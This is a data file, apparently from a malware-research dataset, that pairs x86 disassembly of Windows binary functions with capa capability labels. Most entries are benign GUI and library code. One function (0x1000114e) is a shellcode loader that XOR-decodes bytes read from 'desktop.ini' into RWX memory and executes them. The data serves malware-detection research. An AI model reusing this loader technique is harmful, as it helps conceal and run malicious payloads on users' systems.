joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42dfc0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4912d8
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push ebp
mov ebp, dword [esp + 0x30]
push esi
mov ebx, ecx
push edi
mov esi, dword [ebp]
mov ecx, dword [esi + 0xc]
mov eax, dword [esi + 0x10]
dec ecx
cmp eax, ecx
jge 0x42dff9
inc eax
mov dword [esi + 0x10], eax
jmp 0x42e10c
mov eax, dword [ebx + 0x3c]
mov ecx, dword [esi + 8]
cmp ecx, eax
jne 0x42e00d
mov eax, 0xffffffc7
jmp 0x42e10e
mov esi, dword [esi]
mov edx, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp edx, ecx
jl 0x42e01e
cmp dword [esi + 8], eax
jne 0x42e00d
cmp dword [esi + 8], eax
jne 0x42e037
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0xc]
cmp eax, ecx
jl 0x42e037
mov eax, 0xffffffc7
jmp 0x42e10e
mov eax, dword [esi + 4]
xor edi, edi
cmp eax, edi
je 0x42e04b
push eax
mov ecx, ebx
call fcn.0042d7f0
mov dword [esi + 4], edi
mov dword [ebp], esi
mov ecx, dword [esi + 0x10]
inc ecx
mov dword [esi + 0x10], ecx
lea ecx, [esp + 0x10]
call fcn.004018a0
mov dword [esp + 0x2c], edi
mov edi, dword [esp + 0x3c]
test edi, edi
jne 0x42e07c
mov ecx, dword [ebx + 4]
mov edx, dword [ecx + 8]
lea ecx, [esp + 0x10]
push edx
call fcn.004018c0
mov edi, eax
mov eax, dword [esi + 8]
push edi
push eax
mov ecx, ebx
call fcn.0042cf60
test eax, eax
mov dword [esp + 0x38], eax
je 0x42e0af
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x8c38b0
call fcn.00401aa0
mov eax, dword [esp + 0x38]
jmp 0x42e10e
mov ecx, dword [esi + 0x10]
push ecx
push edi
mov ecx, ebx
call fcn.0042de20
mov dl, byte [edi]
and dl, 1
cmp dl, 1
jne 0x42e0f3
mov ecx, dword [esp + 0x34]
push ebp
push ecx
push edi
push eax
mov ecx, ebx
call fcn.0042de40
mov esi, eax
test esi, esi
jne 0x42e123
mov edx, dword [ebp]
push eax
push edi
mov ecx, ebx
mov dword [edx + 0x10], eax
call fcn.0042de20
mov cl, byte [edi]
and cl, 1
cmp cl, 1
je 0x42e0c5
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x8c38b0
call fcn.00401aa0
xor eax, eax
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 0xc
lea ecx, [esp + 0x10]
mov dword [esp + 0x2c], 0xffffffff
mov dword [esp + 0x10], 0x8c38b0
call fcn.00401aa0
mov eax, esi
jmp 0x42e10e

Function at 0x432ab0
Capabilities:
Create thread

Disassembly:
push ecx
cmp dword [ecx + 0xcc], 1
je 0x432b10
mov eax, dword [ecx + 0x1c]
test eax, eax
je 0x432b10
mov eax, dword [ecx + 0xb0]
test eax, eax
je 0x432b10
push esi
mov edx, 5
mov esi, dword [ecx + 0xbc]
cmp esi, edx
pop esi
je 0x432b10
mov dword [ecx + 0xb4], eax
mov dword [ecx + 0x94], 0
mov dword [ecx + 0xbc], edx
lea eax, [esp]
push eax
push 0
push ecx
push 0x432b50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x43e830
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x491bc8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
lea eax, [esp + 0xc]
mov ecx, dword [esi + 0x1c]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
lea ecx, [esp + 0x20]
call fcn.0048a9f4
mov eax, dword [esi + 0xd0]
lea edx, [esp + 0x1c]
push eax
push eax
push edx
mov dword [esp + 0x44], 0
call fcn.0043e190
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x48]
add eax, 0x64
add esp, 0xc
add ecx, 0x64
mov dword [esp + 8], eax
lea eax, [esp + 4]
mov dword [esp + 4], ecx
push eax
lea ecx, [esp + 0x20]
call fcn.0048a922
mov ecx, dword [esp + 4]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0xc]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
push 1
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
lea eax, [edx + ecx + 1]
xor edx, edx
test eax, eax
setl dl
dec edx
mov ecx, esi
and eax, edx
push eax
push 0
push 0
call fcn.004871eb
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 8]
sub ecx, eax
add ecx, edx
mov eax, 0x88888889
imul ecx
add edx, ecx
xor ecx, ecx
sar edx, 4
mov eax, edx
push 1
shr eax, 0x1f
lea eax, [edx + eax + 1]
test eax, eax
setl cl
dec ecx
and eax, ecx
mov ecx, esi
push eax
push 0
push 1
call fcn.004871eb
push 1
push 0
push 0
mov ecx, esi
call fcn.00487193
push 1
push 0
push 1
mov ecx, esi
call fcn.00487193
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.0048aa66
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret

Function at 0x43e9b0
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x491be8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.0048a9f4
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov dword [esp + 0x44], 0
call fcn.0043e190
mov ecx, dword [esi + 0x48]
mov eax, dword [esi + 0x4c]
add ecx, 0x64
add esp, 0xc
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
add eax, 0x96
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.0048a922
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x43ea74
cmp dword [esp + 0x40], 1
jne 0x43ea72
cmp ecx, eax
jge 0x43ea74
mov eax, ecx
cmp eax, 0xc8
jge 0x43ea80
mov eax, 0xc8
mov ecx, esi
mov dword [esi + 0xd0], eax
call fcn.0043e830
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.0048aa66
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x43f280
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x491c93
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.00485603
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], method.CBrush.virtual_0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.0048ac9c
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.0048c1b8
test eax, eax
je 0x43f39c
mov ecx, dword [esp + 0x3c]
call fcn.0048acc9
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x43f360
push edi
mov ecx, esi
call fcn.00488332
mov ecx, esi
call fcn.0043f540
cmp dword [esp + 0x38], 1
jne 0x43f395
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.0048846d
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x4415b0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x4415e3
push esi
call fcn.0044f970
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x4415dc
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x441669
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x441652
mov eax, dword [esi + 8]
test eax, eax
je 0x441607
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x44164e
cmp eax, 2
je 0x441652
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4415fa
cmp eax, 3
je 0x44162d
cmp eax, 1
jne 0x4415fa
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x4415fa
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x4415fa
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00441690
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x441678
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00441690
add esp, 4
pop esi
ret

Function at 0x441f00
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x441f21
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x441f21
mov eax, dword [eax + 0x44]
test eax, eax
je 0x441f21
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x45f240
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x8fae58]
xor edx, edx
cmp eax, edx
jne 0x45f266
xor eax, eax
mov byte [eax + 0x8fad58], al
inc eax
cmp eax, 0x100
jl 0x45f24e
mov dword [0x8fae58], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x8fad58
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x45f2f7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x45f2ca
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x45f298
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x45f370
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x45f3c3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x45f3aa
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x465d50
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x49217e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x18]
push esi
push edi
mov edi, ecx
mov ecx, dword [esp + 0x1c]
push eax
push ecx
mov ecx, edi
mov dword [esp + 0x10], edi
call fcn.00466670
push 0x10
mov dword [esp + 0x18], 0
mov dword [edi], 0x8c7444
call fcn.00483d96
mov esi, eax
add esp, 4
mov dword [esp + 0x20], esi
mov al, 1
test esi, esi
mov byte [esp + 0x14], al
je 0x465de3
push 4
mov byte [esi + 8], al
mov dword [esi], 0
mov dword [esi + 4], 0
call fcn.00483d96
add esp, 4
mov dword [esp + 0x1c], eax
test eax, eax
mov byte [esp + 0x14], 2
je 0x465ddc
push 0
mov ecx, eax
call fcn.0045ce80
mov dword [esi + 0xc], eax
jmp 0x465de5
xor eax, eax
mov dword [esi + 0xc], eax
jmp 0x465de5
xor esi, esi
mov ecx, dword [esp + 0xc]
mov dword [edi + 0x30], esi
mov dword [edi + 0x34], 0
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 8

Function at 0x4863f9
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x486431
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004844b0
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00484488
jmp 0x48643d
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x487aef
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x487b31
call fcn.0048d5a3
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x487b31
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x487b28
xor eax, eax
jmp 0x487b39
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00487b3f
pop edi
pop esi
pop ebx
ret 4
Function at 0x48dad3
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x48db01
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x48db1f
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0048da39
jmp 0x48db1f
mov eax, dword [esi + 0x14]
test eax, eax
je 0x48db1f
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0048da39
test edi, edi
mov eax, edi
jne 0x48db09
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x405ed6
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4232fc], 0
push esi
jne 0x405f0d
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x405ee7
mov dword [ecx*4 + 0x4232f8], eax
inc ecx
cmp ecx, 0x100
jl 0x405ee2
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x405f3e
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4232f8]
xor eax, esi
inc ecx
dec edx
jne 0x405f20
pop edi
not eax
pop esi
ret 0xc

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4034b0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50ad9e
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x574be0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
mov dword [ebp - 4], 2
push dword [edi + 0x44]
lea ecx, [edi + 0x3c]
push 0
mov dword [edi + 0x3c], vtable.CBaseRecordVector.0
call dword [0x54b96c]
push dword [edi + 0x48]
call fcn.004ea2dd
add esp, 4
mov dword [edi + 0x40], 0
mov dword [edi + 0x44], 0
mov dword [edi + 0x48], 0
mov byte [ebp - 4], 1
push dword [edi + 0x30]
lea ecx, [edi + 0x28]
push 0
mov dword [edi + 0x28], vtable.CBaseRecordVector.0
call dword [0x54b96c]
push dword [edi + 0x34]
call fcn.004ea2dd
add esp, 4
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x34], 0
mov byte [ebp - 4], 0
push dword [edi + 0x1c]
lea ecx, [edi + 0x14]
push 0
mov dword [edi + 0x14], vtable.CBaseRecordVector.0
call dword [0x54b96c]
push dword [edi + 0x20]
call fcn.004ea2dd
add esp, 4
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [ebp - 4], 0xffffffff
push dword [edi + 8]
mov ecx, edi
push 0
mov dword [edi], vtable.CBaseRecordVector.0
call dword [0x54b96c]
push dword [edi + 0xc]
call fcn.004ea2dd
add esp, 4
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4071b0
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50b214
mov eax, dword fs:[0]
push eax
push ecx
push esi
push edi
mov eax, dword [0x574be0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x10], edi
lea esi, [edi + 0x118]
mov dword [ebp - 4], 9
push dword [esi + 8]
mov ecx, esi
push 0
mov dword [esi], vtable.CBaseRecordVector.0
call dword [0x54b96c]
push dword [esi + 0xc]
call fcn.004ea2dd
add esp, 4
lea ecx, [edi + 0xf0]
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [ebp - 4], 8
call fcn.004073b0
lea ecx, [edi + 0xc8]
mov byte [ebp - 4], 7
call fcn.004073b0
lea ecx, [edi + 0xa0]
mov byte [ebp - 4], 6
call fcn.004073b0
lea ecx, [edi + 0x78]
mov byte [ebp - 4], 5
call fcn.004073b0
lea ecx, [edi + 0x64]
mov byte [ebp - 4], 4
call fcn.00409110
mov byte [ebp - 4], 3
push dword [edi + 0x58]
lea ecx, [edi + 0x50]
push 0
mov dword [edi + 0x50], vtable.CBaseRecordVector.0
call dword [0x54b96c]
push dword [edi + 0x5c]
call fcn.004ea2dd
add esp, 4
lea ecx, [edi + 0x3c]
mov dword [edi + 0x54], 0
mov dword [edi + 0x58], 0
mov dword [edi + 0x5c], 0
mov byte [ebp - 4], 2
call fcn.00408fd0
mov byte [ebp - 4], 1
push dword [edi + 0x30]
lea ecx, [edi + 0x28]
push 0
mov dword [edi + 0x28], vtable.CBaseRecordVector.0
call dword [0x54b96c]
push dword [edi + 0x34]
call fcn.004ea2dd
add esp, 4
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x34], 0
mov byte [ebp - 4], 0
push dword [edi + 0x1c]
lea ecx, [edi + 0x14]
push 0
mov dword [edi + 0x14], vtable.CBaseRecordVector.0
call dword [0x54b96c]
push dword [edi + 0x20]
call fcn.004ea2dd
add esp, 4
mov dword [edi + 0x18], 0
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [ebp - 4], 0xffffffff
push dword [edi + 8]
mov dword [edi], vtable.CBaseRecordVector.0
push 0
mov ecx, edi
call dword [0x54b96c]
push dword [edi + 0xc]
call fcn.004ea2dd
add esp, 4
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x408a40
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50b530
mov eax, dword fs:[0]
push eax
sub esp, 0x54
push ebx
push esi
push edi
mov eax, dword [0x574be0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x60]
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x1e0], eax
xor eax, eax
mov edx, 2
mov dword [ebp - 0x14], eax
cmp eax, dword [ebp + 0x14]
jge 0x408c11
mov ecx, dword [ebp + 0xc]
xor edi, edi
mov ebx, dword [ecx + eax*4]
xor esi, esi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x1c], edi
cmp word [ebx], si
je 0x408aba
inc esi
cmp word [ebx + esi*2], di
jne 0x408ab3
lea eax, [esi + 1]
test eax, eax
je 0x408ae5
xor ecx, ecx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.004ea353
mov edi, eax
add esp, 4
xor eax, eax
mov word [edi], ax
lea eax, [esi + 1]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x1c], eax
mov ecx, edi
sub ebx, edi
lea esp, [esp]
movzx eax, word [ebx + ecx]
mov word [ecx], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x408af0
mov dword [ebp - 0x20], esi
push edi
mov byte [ebp - 4], 1
call dword [sym.imp.USER32.dll_CharUpperW]
test esi, esi
jne 0x408b33
push edi
call fcn.004ea2dd
add esp, 4
mov eax, 0x80070057
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov esi, dword [ebp - 0x14]
shl esi, 4
add esi, dword [ebp + 0x10]
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x24]
call fcn.0040f8f0
test eax, eax
jne 0x408bfb
push 2
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x24]
call fcn.00408dc0
mov ecx, dword [eax]
mov edx, 0x54bd64
call fcn.0041aa50
push dword [ebp - 0x30]
test eax, eax
sete bl
call fcn.004ea2dd
add esp, 4
test bl, bl
je 0x408b11
push 2
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x24]
call fcn.00408d90
mov ecx, dword [ebp + 8]
add ecx, 0x1e0
push ecx
mov byte [ebp - 4], 2
push dword [ebp - 0x4c]
mov edx, esi
mov ecx, eax
call fcn.0040f940
add esp, 8
mov byte [ebp - 4], 1
push dword [ebp - 0x3c]
mov esi, eax
call fcn.004ea2dd
add esp, 4
push edi
test esi, esi
je 0x408bfc
call fcn.004ea2dd
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push edi
mov byte [ebp - 4], 0
call fcn.004ea2dd
mov eax, dword [ebp - 0x14]
add esp, 4
inc eax
jmp 0x408a8a
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10